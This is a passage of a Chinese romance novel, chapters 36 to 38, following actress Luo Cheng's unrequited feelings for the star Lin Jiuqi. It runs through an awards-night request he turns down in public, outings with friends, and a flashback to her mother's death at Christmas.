“行吧,我说实话,还是之前那件事,我想让你跟我演乔媛媛的短剧。”
林久期轻叹一声,“我想我已经拒绝过你很多次了。”
洛澄从包里翻出带来的剧本,“这是剧本,你不用着急同意,也不用马上拒绝我,你可以先看看。”
林久期纹丝不动,洛澄直接塞在了他手里。
看着少女跑远的身影,林久期那略有缓和的眼神慢慢落在手中的剧本上。
-
【橙子姐,需要我帮你报人口失踪吗?】
洛澄基本是三步一回头,等彻底看不见林久期时,手里提示音正逢响起。
她掏出一看,是那耍大刀的人发来的。
洛澄当即回复:【?】
关羽:【哦,没什么,就记得某人前段时间想药死我,但过去这么久迟迟没有下一步动静,还以为终于被警察逮住,然后斩立决了。】
也不知道她和谁学的,从小说话就阴阳怪气的,洛澄虽比她年长几岁,可两人从小作为邻居一起长大,说起话来倒也没什么姐姐样。
互怼惯了。
洛澄:【放心,算命的说了,我比你活得久。】
关羽:【哦,那活久姐,什么时候药我?我最近刚好有空能给你这个机会。】
洛澄:【择日不如撞日,今天刀你。】
“小丫头片子,今天看我怎么教训你。”
乔媛媛恰好从房间里走出来,就听到进门的洛澄嘀嘀咕咕地在说些什么。
“小洛澄,你说什么?”
“没什么。”洛澄揣好手机,“我晚上不在家吃。”
乔媛媛八卦道:“和哪个野男人约会啊?”
洛澄往浴室走,她趴在门框上,“是女人。”
“洛澄!你心里果然没我了!”
女人的杀伤力似乎比男人还要大,乔媛媛扯着嗓子激动喊着:“怪不得你这段时间总不在家,你果然外面有别的女人了!”
隔着水流声,洛澄都能清晰听见乔媛媛的抱怨。
红日西坠。
火锅店的汤底比燃烧着橘红色的晚霞还要深。
“你平时不是最爱吃辣吗,我特意要的他们家店的特辣,你快尝尝。”
洛澄舀了一大勺红油汤倒在了关羽的蘸料碗里。
关羽扯着嘴角,皮笑肉不笑,给洛澄盛了满满一碗的脑花,“橙子姐你破费了,多吃点。”
看着碗中的食物,洛澄眸底一闪而过的厌恶,但任然笑嘻嘻道:“你太客气了,我们俩谁跟谁啊。”
关羽此刻的嘴唇比涂了口红还要艳,甚至还有些肿,辣味从舌尖直达脑门心,像是火上浇油,下一秒就要被炸开了。
但她脸上笑容不减,“听说橙子姐你在和詹江已谈恋爱。”
她话接话地继续说:“怎么了,是被久期哥甩了吗?”
初中那会儿的假期,林久期时不时会跟着洛澄一同回莫川县过节,久而久之的,当地一些关系好的邻里也都见过林久期好几面。
关羽就是其中一位。
那时候她只有几岁,只知道隔壁姐姐家偶尔会来一位帅哥哥。
后来,高中开始林久期就很少来了。
就算他出车祸之后的四年再也没出现过,也没人觉得奇怪。
大家也都只是觉得他成大明星了,很忙,跟他们这种普通百姓不一样,不再有交集也是情理之中。
关羽也时不时会问到她和林久期的事。
洛澄也懒得解释,关羽怎么想,也就随着她了。
听到她话语中带着讥讽,洛澄面不改色心不跳地说:“怎么可能,我和你九七哥哥好的不行。”
然而。
就在洛澄刚说完这话的一刻,旁边传来一道磁性且清润的嗓音,其中夹杂着两分难以置信和三分惊讶。
“久期……哥哥?”
36. 第36章
“久期……哥哥?”
“……”
洛澄猛一回头,林久期此刻就站在她侧后方,偕同的还有范少杰。
范少杰贱兮兮道:“洛澄妹妹,你也在这吃饭啊。”
洛澄握着筷子的手紧了紧,果然人在说小话的时候最容易被逮住。
她佯装镇定自若,“嗯对,这么巧。”
范少杰看向坐在洛澄对面穿着衬衫的女孩,她的脸有些圆,齐肩短发在脑后松松地绑了个马尾。
“这位是?”
洛澄介绍道:“关羽,我朋友。”
这么可爱的姑娘居然叫这么个霸气泄漏的名字,范少杰一个没忍住笑了出来,“抱歉啊,这名字挺有个性的。”
光是范少杰这一举动,就得了关羽一个白眼。
火锅店的二楼没多少人,等他们随便找了个位置坐下后,关羽冷不丁地说:“他平时都这么贱吗?”
关羽生活里不追星,对于范少杰的印象还停留在某次看过的舞蹈综艺上,他是这档综艺的冠军。
年轻,俊朗,跳起舞来更是魅力剧增。
可谁曾想,这人私底下居然是这幅德行。
果然,明星也是人,男人最大的魅力就是女人的想象力。
洛澄难得与她观点一致,“有点。”
兴许是周一,火锅店的人一直都不算多。
洛澄结完账与关羽准备离开时,脚还没迈出店家,她感觉腹部隐隐作痛,有种不好的预感,她急忙折身去了卫生间。
看着裤子上不幸中招的一抹红,洛澄叹息了声。
幸亏她包里有带。
她脱下外套系在腰上准备离开,还没走出女卫生间,便听见外面公共洗手池二人的对话。
“你跟我交个底,你是不是已经和洛澄好上了?”
是范少杰的声音,洛澄不由停下脚步。
林久期洗着手,“真没有。”
“那就行,不然老詹直到了得多伤心啊。他那么喜欢洛澄。”范少杰照着镜子,扒拉了几下自己用发胶固定的发型,“那你俩现在是在公平竞争呗。”
林久期有些听厌了,来一个人就跟他强调一次詹江已喜欢洛澄的事。
他已经不知道听了多少遍了,耳朵都要起茧了。
范少杰又想起一事,“我好像听老黄说,詹江已要出演乔媛媛毕业短剧的男主角,和洛澄搭档。”
毕业短剧。
林久期不禁想起洛澄三番五次找他就为了这件事。
她们明明有人选了。
林久期的动作有一秒钟的停顿,随后他扯纸擦干手,“我不会和他抢的。”
“我不喜欢洛澄。”
他声音清淡,像是在澄清一个不争的事实。
洛澄牙关咬得极紧,林久期现在不喜欢她,她早该知道的,可亲耳听见他说出来,鼻子还是忍不住发酸。
他们已经走了很久了,洛澄脚却动弹不得,她自嘲似得笑了下。
良久,她把满腔苦涩吞了下去,走出卫生间。
关羽看眼时间,“去厕所这么久?火锅没吃饱吗?”
洛澄没有接她的话,嘱咐了句,“你回学校注意安全。”
关羽探究般地盯着她。
洛澄居然没有她回怼?
反常,太反常了。
洛澄没有打车走,而是沿着道路一直往前。
她鸭舌帽的帽檐压的很低,带着白色的口罩,穿着最普通的白T牛仔裤,加上天色昏暗,自然也引起不了过路人的注意。
也不知道走了多久。
天已经完全沉了下来。
洛澄忽然停下脚步,转过身去,“你一直跟着我干嘛?”
关羽距离她也就一米的距离,“谁跟着你了,我随便逛逛。”
洛澄提醒:“你再不回去,寝室要锁门了。”
这么一说,已经是十点半了,如果关羽现在打车返校,回到盐城医科大学也就半个小时的时间,勉勉强强能赶上。
“反正也来不及了,干脆去你那里凑合一晚。”生怕被拒,她补充道:“你该不会把我丢在大马路上吧,如果让洛伯父知道了……”
关羽故意一顿,洛澄睇了她一眼。
告状精。
-
浣林小区。
一进门,关羽那张碎嘴子就开始了。
“你居然住这么大的房子?”她来到客厅,沙发上坐着一脸纳闷的乔媛媛,“是这个姐姐的家吧。”
乔媛媛看着这张陌生稚嫩的面孔,不由一问:“小洛澄,这个小美女谁啊?”
听到这个称呼,关羽脸上扬着灿烂的笑容,“姐姐,你不光漂亮,说话也好听。”
洛澄没留一点情面,“老家的告状精。”
乔媛媛秒懂,洛澄不止跟她提过一次,她有个从小一起长大的邻居妹妹,是个告状精。
林久期的房子很大,复式两层,洛澄和乔媛媛来到现在也只是用了一层的空间,二层从来没上去过。
关羽直奔二楼,她趴在栏杆上,“我想住上面。”
洛澄想都不想,“不行。”
关羽俯视着她,“橙子姐,洛伯父应该不希望看到你这么小气吧。”
洛澄本就心情欠佳,听了她的话,这分钟恨不得捏死她。
瞪着眼道:“随便你,里面的东西别乱碰。”
洛澄懒得管她,自己拿着换洗衣服去了浴室。
水气笼罩的空间里,洛澄满脑子都是林久期说的话。
——我不会和他抢的。
——我不喜欢洛澄。
她仰着头,花洒中的水持续不断地冲击着她的脸庞。
对他来说,她的所作所为,都是打扰吧。
洛澄擦干身子,套上棉质睡衣,顺势拿起洗手台上放着的手机,微信有几条未读消息。
有郑巧儿发的,詹江已发的,最下面有一条林久期发来的。
洛澄优先点了进去。
【洛老师,剧本很好,但很抱歉。稿子我明天会让助理给你送过去的,希望我们以后能有其他的合作机会。】
他说的很官方。
拒绝的也很痛快。
洛澄垂下眼帘,微颤的手指在键盘上打下一个“好”字。
-
洛澄拍摄的剧陆续播出,不少导演冲着她的演技而来,虽然都还只是配角,但相比于之前被嘲讽说‘只是个翻唱歌手而已’,洛澄觉得自己的努力终于有回报了。
而微博上每年一评的四小花旦,洛澄的票数稳居前四。
最后被评为九五后四小花旦之一。
北风凛冽,整个盐城被裹在一片白雪中。
一进屋,扑面而来的暖气让洛澄止不住打了个颤,客厅的灯都还亮着,电视上放着手机投屏的动漫。
洛澄扫了眼墙上挂着的时钟,已经是半夜两点过了,“你怎么还不睡?”
关羽盖着毛毯,嘴里却吃着雪糕,“明天周六,我又不上课。”
自从上次关羽来她这过了一宿后,关羽几乎每个周末都会跑来住,顺带蹭吃蹭喝。
乔媛媛端着满满一大碗热气腾腾的炒面来到客厅,“小关羽,去拿三副碗筷。”
洛澄现在整日忙于拍戏,天天六点出门,半夜回家,而乔媛媛总是会备好夜宵等着她。
洛澄洗了手,坐在沙发上,衣服都懒得换,端起碗便大口吃着。
乔媛媛见状,吐槽道:“你们剧组不给饭吃吗?饿成这样。”
“剧组的哪有你做的好吃。”
乍一听是奉承话,可洛澄也确实是实话实说,在剧组基本都是盒饭,那味道自然不能比。
饭后。
乔媛媛洗完澡出来,看看洛澄躺在沙发上放空。
“你还不去睡觉?明天不用早起了?”
“明天不拍戏。”洛澄望着窗外漫天飞舞的大雪,“要去参加微博之夜。”
-
12月21日。
微博之夜。
众明星齐聚一堂,按照咖位的座位分布,洛澄坐在三区左侧的位置,视线掠过人群,林久期端坐在一排中区。
他微侧着脸,这会儿正和旁边的人在说话,唇瓣若隐若现含着浅笑。
现场除了明星之外,还来了不少资本大咖,媒体记者,以及受邀嘉宾,偌大的场馆里观者如堵。
洛澄是第一次来这么大型的场合,她规规矩矩挺直腰板坐在位子上,偶尔见着熟稔的人,也只是微
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笑着打个招呼。
不敢有一丝懈怠,就怕不小心被揪着小辫子。
“洛学姐!”
不见其人先闻其声,这咋咋呼呼的声音,洛澄一听便知。
郑巧儿穿着鹅黄色的齐膝礼裙,一路小跑着过来,“洛学姐,没想到我们俩的位子是挨着的,真好。”
洛澄任由她牵着自己的手,身边终于有个老熟人了,洛澄紧张的心也缓和不少。
七点整。
场馆所有灯突然关闭,随即,舞台灯光亮起,在喷烟机烟雾一瞬间上升的同时,劲爆的pop舞曲音乐响起。
詹江已一袭红衣在聚光灯下,他旁边是几位穿着朋克风衣服的伴舞团。
怪不得她一直瞧不见詹江已,原来是有节目。
舞蹈结束,沸腾声起。
一男一女,两位主持人穿着礼服来到台中央,“非常感谢詹江已为我们带来的精彩开场秀!”
男主持人:“这里是盐城,是2023微博之夜的现场,各位现场以及屏幕前的观众朋友们,大家……”
他与女主持人异口同声:“晚上好!”
“美人儿,我刚才的舞蹈怎么样?”
詹江已的位子刚好就在洛澄的前面,他背靠着沙发,小声询问。
洛澄从话里听出了几分得意,她身子往前挪了挪,用仅有他们两人能听见的分贝,道:“帅呆了。”
台上陆陆续续的有艺人表演,过了挺长一段时间,才到颁奖环节。
男主持人念着名单:“掌声有请微博年度进取演员,余诗诗、王妮、杨帆宇登台。”
女主持人紧接着:“同时让我们欢迎盛兴传媒CEO、CH品牌总监为他们送上鲜花,有请。”
洛澄和郑巧儿还在说着悄悄话,听到盛兴传媒CEO几个字,注意力被勾了过去。
男人的身高实在优越,肩宽腿长,一袭深色的剪裁得体西装衬得他衣冠楚楚,他抬步从容走到获奖艺人前给他们送上花束。
郑巧儿嘴巴都快合不拢了,“传闻都说盛兴传媒的老板是个年轻男人,可没说他居然这么帅啊。”
洛澄早就过了吃惊的劲了,她第一次知道明朔这个人物时,和郑巧儿是一个反应。
明朔在娱乐圈一直是个传奇。
十九岁创办盛兴传媒,三年时间在娱乐圈立足,五年之内成为国内首屈一指的娱乐公司,到现在有九年时间,已经是撑起娱乐圈半边天的存在。
洛澄想想自己十九岁的时候都还在上大学,人家就已经开公司赚大钱了。
“谢谢各位,也恭喜各位。”
台上颁奖流程不断,女主持人道:“那么接下来呢,要为大家揭晓的是微博年度期待演员……”
颁奖还在继续。
奖项接二连三。
洛澄有些乏了。
“接下来要颁布的是微博年度新锐演员——洛澄!”
郑巧儿拍了拍她的胳膊,小声道:“洛学姐洛学姐。”
洛澄的神智在这一刻回笼。
镁光灯闪烁不停,她穿着白色的鱼尾设计礼服,裙身的亮片如同星河碎钻,在灯光下夺目闪耀。
她优雅地迈着步子走上颁奖台。
接过奖杯和鲜花,按照流程她应该下台了,可主持人却突然说:“恭喜我们的新锐演员洛澄。洛澄,对于这次转型,你最大的感触是什么呢?”
“志不求易者成,事不避难者进。”
洛澄握着话筒,“我非常感谢能给我机会的导演们,希望我们能有更多的作品可以合作,我定不会辜负各位的信任。”
“那就希望在未来的日子里,你能乘风驭海,踏浪而升,有更多的影视作品展示在大众视野里。”
主持人看向台下,“那如果有一次挑选搭档的机会,洛澄你最想和台下的谁一起演戏呢?”
洛澄神色微微怔了一秒,没想到主持人会提出这么个问题。
“还真有。”
洛澄的目光毫不犹豫地锁定在一人身上。
她有一个冲动且大胆的想法。
这是最后一次,再争取最后一次。
她咽下紧张的情绪,声音十分诚恳,“林久期,你愿意和我搭档,出演我的男主角吗?”
37. 第37章
洛澄晚上回家。
一进门听到关羽酸溜溜的声音。
“这就是你说的和久期哥哥好的不行?好的不行到人家众目睽睽之下拒绝你,扫你面子,你们可真好。”
乔媛媛捣了她一眼,“你少说点。”
洛澄一直是个好面子的主,微博之夜现场那么多人,又加上是直播,现在网上已经彻底炸了。
随便点开一条微博,十个里面九个是讨论洛澄和林久期的,直接上了热搜榜第一。
心知她心里难受,乔媛媛扯开话题,起身往厨房去,“饿了没,我给你煮饺子吃。”
“我不饿的,有点困了想睡觉了。”
洛澄说完就进了屋。
她倒在床上,连洗漱的精力都没有了。
微博上铺天盖地的微博之夜的回放视频,她随便点了一个进去。
视频里,主持人铿锵有力地说着:“恭喜2017年微博King的得主是——林久期!恭喜2017年微博Queen的得主是——赵芮情!恭喜二位,有请二位上台!”
思绪被拉回今天微博之夜的现场。
——林久期,你愿意和我搭档,出演我的男主角吗?
在她问出口的那一刻,她清楚的知道林久期的答案很大概率是拒绝的,她并非想道德绑架,她只是想再争取最后一次。
“洛老师的心意我领了,但对不起。”
果然。
意料之中。
看到他和赵芮情同站在一个领奖台上,说实话,她嫉妒了。
她突然有些理解读书时期,赵芮情看见她和林久期常常走在一起的感受了。
原来,看到喜欢的人身边站着旁人,是会心痛到喘不过气的。
……
“笃笃笃——”
敲门声让洛澄收回了自己乱七八糟的想法。
乔媛媛推门进来,“小洛澄,明天我们一起去泡温泉吧。”
“行啊。”
洛澄答应的爽快,在她脸上看不出有任何不悦的情绪,她很平静,静到乔媛媛有些后怕,怕她压抑自己的情绪。
乔媛媛阖上门,“心情不好的话就发泄出来,别憋着。”
洛澄笑吟吟说着:“我没有心情不好。”
乔媛媛根本不信。
她瞥见洛澄手里的手机,上面还在放着微博之夜视频。
发生这种事,心情怎么可能会好。
乔媛媛也不多说,拍了拍洛澄的肩膀,“早点休息,明天九点出门。”
“好。”
-
乔媛媛起来时洛澄已经收拾好,在客厅里坐着了。
乔媛媛去敲关羽的房门,“小关羽,起床了,你再赖床的话我们就走咯。”
“不行!”
关羽马不停蹄地套上衣服从房间直冲卫生间。
盐城每年从十二月开始,几乎每天都大雪纷飞。
灰暗的天空上,冰雪连绵不绝。
两辆私家车停在浣林小区门口。
乔媛媛和关羽上了黄谦的车,洛澄则上了范少杰的。
行驶的车子路过融庭小区,洛澄忍不住多留意了几分,小区门口的人进进出出,却都不是那位人儿。
微博之夜,范少杰也在现场,他早就觉着洛澄对林久期的态度不一般了,昨天的壮举看下来,他就算再傻,也不可能看不出来洛澄喜欢林久期。
余光见洛澄望着融庭小区,范少杰没说话。
一路上两人安静的不行,范少杰忍不住加快了车速,他想赶紧到目的地,往常话最多的他,现在都觉得尴尬得不行。
真无语,老詹今天怎么不来接人,搞得他现在尴尬得脚趾抠三室一厅。
洛澄注意到旁边的范少杰有些拘谨,可她因为晚上没睡好,加上今早六点就醒了,她疲惫得嘴巴像封了胶,开不了口,什么话也不想说。
半个钟。
终于抵达温泉基地。
范少杰和洛澄是最先到的,范少杰去停车,洛澄便在大厅等其他人。
很快,其他三人也到了。
几人换了手牌,换了衣服后先去了自助用餐区。
洛澄盛了碗海鲜粥,随便找了个空位坐下。
温泉基地在盐城的郊区,加上今天是工作日,所以人并不多,此时的餐区也就他们几人。
关羽来来回回端了好些食物过来。
范少杰眼睛都瞪大了,“这姑娘这么能吃啊。”
乔媛媛附和:“年轻,还在长身体。”
黄谦边吃边用手机,像是在回信息。
乔媛媛问:“谁呀?”
也不用等黄谦解释,和他联系的人已经来了。
范少杰开腔:“怎么才来啊?”
他想控诉詹江已为什么不去接洛澄,转念一想,还是算了,显得他多不待见洛澄似的。
“处理工作上的事就耽误了。”詹江已接了杯咖啡坐在洛澄对面的位子,“怎么找了个这么鸟不拉屎的地方,我跟着导航都绕了半天的路。”
“就他家是纯天然温泉。”地是范少杰找的,他回怼道:“你自己找不到路,还好意思赖导航。”
见詹江已孤身一人来,黄谦问:“久期呢?”
范少杰:“久期今天有事,好像是和赵芮情出去了。”
黄谦:“他们俩出去?有新戏?”
范少杰随口一说:“他们的戏不是已经杀青了吗?约会去了吧。”
此话一出,整个气氛瞬间降到了零度。
洛澄垂着眸,一言不发地喝着粥,其他几人面面相觑。乔媛媛怒瞪了范少杰一眼,满脸写着“你嘴巴真碎”。
詹江已则不动神色地望向洛澄,他话锋一转,朝着关羽问道:“这位小美女是?”
话题被转移,几人又七嘴八舌得唠了起来。
一整个温泉泡下来,大家都很识趣,再也没有人提起过林久期。
-
“你在哪啊,我怎么没看见你?”
范少杰打着电话,左顾右盼的,就是没看见林久期的人影。
电话那头的人说道:“背后。”
听闻,范少杰降下车窗,伸出脑袋往后张望,林久期从不远处走来,最后上了他的副驾驶。
车子开出机场。
范少杰打着哈欠,“你说你干嘛非得坐凌晨的飞机,困死了。”
车里暖气够足,林久期调低了些,怕他真的睡过去,“人少。”
温度刚下来,范少杰就打了个喷嚏。
林久期拉开自己的背包,刚准备从里面拿纸巾,却瞧见座位角落的缝隙里,夹着一张身份证。
他取出来一看,少女清丽的面容印在证面上。
“洛澄的身份证怎么会在你车上?”
“啊?”范少杰也被问懵了,趁着红灯的间隙,他转头一看,果真是洛澄的,他急忙说:“你可别乱说话啊,我和洛澄什么都没有,这绯闻传出去,老詹不得扒了我的皮啊。”
“我和她真没发生什么,我也不知道她身份证怎么就跑我车上来了。”
范少杰有种越描越黑的感觉,他突然恍然道:“对对对,我想起来了,肯定是之前出去玩的时候掉我车上了。”
范少杰又补充,“不是我俩单独出去的啊,还有黄谦他们,就上次泡温泉,我喊你来着,你不是和赵芮情约会去了,就那次。”
林久期的目光从身份证上移开,“谁告诉你,我和赵芮情约会了?”
范少杰:“那你们还能去干嘛?”
林久期:“拍戏。”
范少杰哼了声,“你少鬼扯了,连自家兄弟都骗啊,别以为我不知道你们那戏早结束了。”
林久期耐心解释:“导演要求补拍番外。”
“真的假的?”范少杰毫不在意,“算了算了,这不重要。盛兴明天不是要开年终大会吗,你顺便帮我把洛澄身份证还给她。”
林久期把身份证放进自己的包里,“你不去?”
“你是一点也不关心我啊。”范少杰撇了撇嘴,“明天街舞王决赛,我得带着我的队伍拿奖啊。”
-
盛兴传媒年年都会开年终大会,所有艺人及工作人员,无特殊情况,必须到场。
一是年度总结,二是下一年规划,三嘛,算是大家最期待的时刻。
老板发红包。
全体职员都有,红包里封着现金,厚厚一叠。
“谢谢明总!”
“老大万岁!”
再喧闹声中,会议结束。
洛澄从卫生间洗完手出来,包里的手机响了几声。
她扯纸擦干手,拿出来一看,是林久期发来的微信消息。
【走了吗?】
【你的东西在我这,来下会议室。】
什么东西?
洛澄有些摸不着头脑,但还是回了会议室。
刚来到门口,会议室的门半掩着,里面传出交谈的声音。
“你和洛澄是怎么回事?”
“一些小事。”
明总和林久期?
她不想偷听墙角,但听到他们对话中说到了她的名字,她忍不住停下脚步,
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站在外面。
“你们交往了?”
“没有。”
“你们的感情我不插手,但别影响工作,网上现在的风声你自己也清楚。”
“我和她只是同事。”
寥寥几句对话,却让洛澄脑袋嗡地一声,剧烈的耳鸣声隔断了外界的一切声音。
原来在他心里,他们只是同事,是吗?
居然连朋友都算不上。
真是可笑。
会议室门被人从里打开。
洛澄收敛起落寞的情绪,“明总。”
明朔“嗯”了声。
等他走远,洛澄才进到会议室里,她语气相当客气生疏,“林老师找我,有什么事情吗?”
林久期从衣服包里拿出身份证给她,“你的身份证。”
洛澄道了声谢,头也不回地离开。
既然他认为只是同事,那就保持同事该有的距离和分寸吧。
-
12月25日。
盐城陵园。
“爸,你先回去吧,我想再陪陪妈妈。”
陵园的风很大,洛于彬摘下自己的围巾围在洛澄的脖子上,“好,你多陪陪你妈。”
洛澄坐在墓碑旁的枯草地上,地面因为下雪的缘故而有些湿润。
她盯着墓碑上刻着“冉乐”二字,发起了呆,不由想起母亲过世的那天——
那是零七年的今天。
也下了很大的雪。
像鹅绒一般,把黑夜衬得像白昼一样。
洛澄还记得,那天她跟往常一样,一下课就来医院照顾妈妈。
她那天看上去比之前还要憔悴,嘴巴泛白,脸上也没有一丝血色,但她的嘴角总是挂着笑容,“姌姌,妈妈想吃苹果。”
可医院里并没有苹果。
洛澄那晚几乎跑遍了周围所有的门店,都没有买到苹果。
“洛澄。”
洛澄泄气地从便利店走出来,恰好碰到背着书包路过的林久期,“你怎么在这?”
洛澄小脸被冻得通红,“我想买苹果,你知道哪里有卖的吗?”
“我有。”
因为是圣诞节,林久期的课桌里被塞满了女同学送的平安果。
林久期把五颜六色的包装纸全部拆开,又把自己书包腾空,苹果全装进了书包里。
洛澄手里攥着几张皱皱巴巴的一块钱,递给他,“这个就当时我跟你买的,可能不太够,我只攒了这么点,剩下的等我攒够了再还你。”
“不用了。”
林久期背上书包,沉甸甸的包压在他肩膀上,他用双手拽着两边的肩带,试图想给肩膀减轻些负担。
医院离盐城市一中并不远,两人一路小跑着赶回了医院。
“妈妈,苹果我……”
洛澄兴高采烈地推开病房门,可里面却死气沉沉一片。
洛于彬蹲在病床前,泣不成声。
洛澄吸了吸鼻子,走到跟前。
床上的人儿紧闭双眼,神态安详。
“妈妈她……”她哽咽着,几乎快要发不出声音来,“她走的痛苦吗?”
洛于彬紧握着冉乐的手,“不痛苦,你妈妈还说,说姌姌一定要平安健康的长大,她会在上面,保佑你。”
“这样啊……”
洛澄盯看着母亲的面容,紧咬着下唇,忍住不让眼泪掉下来。
母亲从零五年就被查出是胃癌晚期,在医院硬撑了两年,医生都说能撑这么久已经是奇迹了。
她知道,这一天总会来的。只是没想到,来的这么快。
母亲最终无法抵抗恶病的折磨,永远的醒不过来了。
洛于彬去办理手续了。
病房内只剩下洛澄和始终站在门口的林久期。
洛澄一动不动,面对着的病床上已然是空荡荡的了。
“我讨厌圣诞节。”
她声音很小,眼圈也红红的。
林久期走到她身旁,近距离感受到她全身都在颤抖,他默不作声牵住她的凉如冰块的手,试图想给她一些温暖和力量。
“九七。”
洛澄偏过头看他,压抑的所有难过在这一刻彻底爆发,泪水夺眶而出,“我没有妈妈了。”
……
她后来才明白。
母亲那天是故意支走她的,为的就是不想让她看到自己痛苦挣扎后死去的模样。
洛澄抬手,一遍又一遍擦拭掉墓碑上沾着的雪花,一遍又一遍诉说着她这一年发生的事情。
“妈妈,我不想喜欢林久期了。”
38. 第38章
有些时候,越下定决心远离一个人,就越容易见着。
基本不来公司的林久期,这几日天天都在。
洛澄已经很刻意避免和他接触了,可天总是不遂人愿。
洛澄被安排和林久期一同参加慈善公益活动。
地点——
希望孤儿院。
院长刘妈妈很早就在孤儿院大门口侯着了。
一辆接着一辆的车停靠在路边,一行人穿着红色马甲,提着东西下了车。
“刘院长您好,我是盛兴传媒人力行政资源部的行政总监。”
刘妈妈握住对方的手,“您好,真的太感谢贵司这些年的帮助了,麻烦代我向明总问好。”
洛澄跟着大部队往院内去。
院坝里的孩童瞧见了,从秋千上跳下来,跑到洛澄跟前,“洛澄姐姐。”
洛澄蹲下身,手里提着的东西放在地上,抬手一手揉了揉其中一位只有两岁左右的小男孩的头,“乖,我一会儿来找你们玩。”
小男孩软软糯糯地应了声“好”。
东西都提放在了仓库里,同行的其中一位女艺人八卦问了句:“洛澄,你认识这里的人啊?”
洛澄下意识地瞥向从门口走进来的林久期,她扯了扯嘴角,“以前来过。”
她也没说明,听在旁人耳里,自然认为成是她以前做公益的时候来的。
放好物资,负责人又组织着大家一同与小朋友玩游戏。
院里嬉嬉闹闹的。
洛澄去到一旁和刘妈妈打招呼,“刘妈妈。”
刘妈妈心惊,想拉开和洛澄的距离,洛澄轻拉住刘妈妈的手腕,“刘妈妈,您不用装作和我不熟,我不在意这些。”
“我知道。”刘妈妈忍不住看向某处,“我不想影响你们。”
洛澄顺着刘妈妈的视线望去,林久期在不远处的桌前坐着,他手拿着彩色蜡笔,正和身旁的小朋友在画画。
他笑容可掬,像个邻家大哥哥。
林久期曾在孤儿院生活过的事情,一直没有外传过,想必是刘妈妈的保密工作做的很到位。
她知道,刘妈妈是不想影响到林久期的事业,毕竟人言可畏,这件事要是传出去,指不定会被有心人添油加醋,做文章成什么样子。
今天的希望孤儿院格外热闹,除了盛兴以外,又来了一家公司,也是大包小包的送物资。
“美人,咱俩真有缘啊,在这都能碰上。”
詹江已穿着黄色的马甲,他又换了个发色,孔雀蓝。
洛澄看着他迎面而来,该说不说,他真的很像个开屏的蓝孔雀。
“你真的很像个蓝孔雀。”
洛澄一嘴快,竟把心里话给抖了出来。
詹江已对照着背后反光的玻璃,扒拉着自己的头发,“不好看吗?”
洛澄盯着他,很认真地思考了半晌,“没红色适合你。”
詹江已的脸,张扬且野性,红色最适合不过了。
“我也觉得红色更好看。”詹江已吊儿郎当地笑了声,“这叫什么,心有灵犀。”
洛澄瘪了瘪嘴,伸手在他腰间上一拧,“别恶心我。”
詹江已吃痛地皱了下眉,闷哼一声,可脸上那笑意不减反增,一副迁就纵容的模样,“说实话也不行啊。”
两家公司的人齐聚一堂,别提有多热闹了,不知道的还以为这里在办什么明星秀。
人多到洛澄根本不担心有人会关注角落的她和詹江已。
可他们的一举一动,全然入了林久期的眼,就连说的话,他也一字不落地听了去。
两人一边耳语,一边在笑,看上去亲热无比,暧昧非常。
“大哥哥?”
身边稚嫩的声音拉回了林久期的注意力,他疑惑地“嗯”了声,“怎么了?”
小女孩肉嘟嘟的手指着画,“你觉得这里涂蓝色好看还是红色好看?”
闻言,林久期喉咙微哽,想起方才那一幕,眸中划过一丝不易察觉的恍然。
他目光落至在那张水彩画上,隔了几秒,才说:“蓝色。”
-
“小洛澄,明晚我们一起去茂林寺看烟花大会吧!”
乔媛媛说话的同时,洛澄手机里恰好弹出詹江已发的信息,也是邀请她去赏烟花。
“詹江已也约我了。”
乔媛媛拍手叫好,“那就一起,我喊上黄谦,让他叫上林久期。”
“林久期就算了吧。”
听到洛澄的话,乔媛媛意外的不行,按道理洛澄应该很高兴才对,“为啥,你俩怎么了?”
“没怎么。”
洛澄回着詹江已的信息,边面无表情地说:“不想跟他一起而已。”
乔媛媛使劲扯了下洛澄的脸,她疼得叫唤几声,“你干嘛?!”
乔媛媛眨了眨眼睛,“你真的是洛澄?”
洛澄白皙的脸颊一瞬间就红了,“不然呢,那我还能是谁?”
乔媛媛难以置信道:“我认识的洛澄,对林久期可不是这个态度。”
洛澄心里一紧,她咽下这股难受的情绪,冷着脸道:“那是以前的洛澄。”
乔媛媛没当回事,还开着玩笑:“说得好像不喜欢他了一样。”
“对。”
洛澄回得一本正经。
乔媛媛有些呆住了,只见洛澄肃着脸,“不喜欢了,也不想喜欢了。”
乔媛媛还没反应过来,洛澄接下来的话再一次震惊了她。
“你那毕业短剧的男主角,换个人选吧。”
-
跨年夜,盐城的烟花大会有很多,但最热闹的还属茂林寺。
祈愿的同时在零点赏烟,何尝不是一种浪漫。
雪映祥瑞,银霜铺在寺庙的青砖红瓦上,踏着积雪漫步在寺庙小径中,感受着寺庙的庄严宁静。
执一炷香,洛澄双手合十,闭上眼。
庙堂里,香炉中火星闪烁,虔诚的信徒拈香跪拜,亦是祈福亦是忏悔。
洛澄迈出庙堂。
与詹江已结伴离开。
詹江已:“许了什么?”
“不告诉你。”洛澄张望着,“媛媛他们呢?”
詹江已把洛澄的手套还给她,“去买吃的了。”
茂林寺暖黄色的灯光下,烟雾缭绕,越是临近12点,来往的人就越多。
看烟花的绝佳位置更是人挤人。
路过的游客不小心撞了洛澄一下,她身子一歪,倾倒在詹江已怀里。
她急忙站稳,拉开距离。
詹江已打趣道:“美人,你怎么知道我吃投怀送抱,欲情故纵这一套。”
洛澄刚想回怼,乔媛媛和黄谦就来了。
乔媛媛手里拿着烤串,她举得老高,生怕被撞掉,“我们找到一个人更少但也能看到烟花的地方,走,去那边。”
人多到出去的这条必经之路都堵得水泄不通。
詹江已牵住洛澄的手,“别走散了。”
洛澄微微张了张嘴,听着他这句话,最后还是默许了。
四人终于从人海中挤了出去。
外面的空气似乎都要清爽不少。
“久期?你怎么在这?”
洛澄刚出来,就听到走在前面的黄谦说话的声音。她一抬头,林久期就站在路口。
路灯下,光晕给他身上镀了层朦胧的金辉,他缓缓抬眼,视线从洛澄身上掠过,又慢慢下移,定格在两人紧握的双手上。
深褐色的眼眸转深,心中缱转百回,可面上却让人看不出一点破绽,他浅笑着:“闲来无事,就来了。”
正逢此时檀冶从不远处而来,他姿态散漫地一手揣着兜,另一手指尖衔着香烟。
他声音也懒洋洋的,“没找到。”
黄谦问:“你们在找什么?”
檀冶掐灭烟扔进垃圾桶里,一双狭长的凤眸染着些许无奈的神情,“他想喝冰美式。”
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“……”
黄谦差点被自己口水呛着。
这里怎么可能会有咖啡?也只有檀冶会惯着林久期,跑遍整个寺庙就为给他找一杯冰美式。
不过他们也习惯了。
檀冶对林久期一向如此。
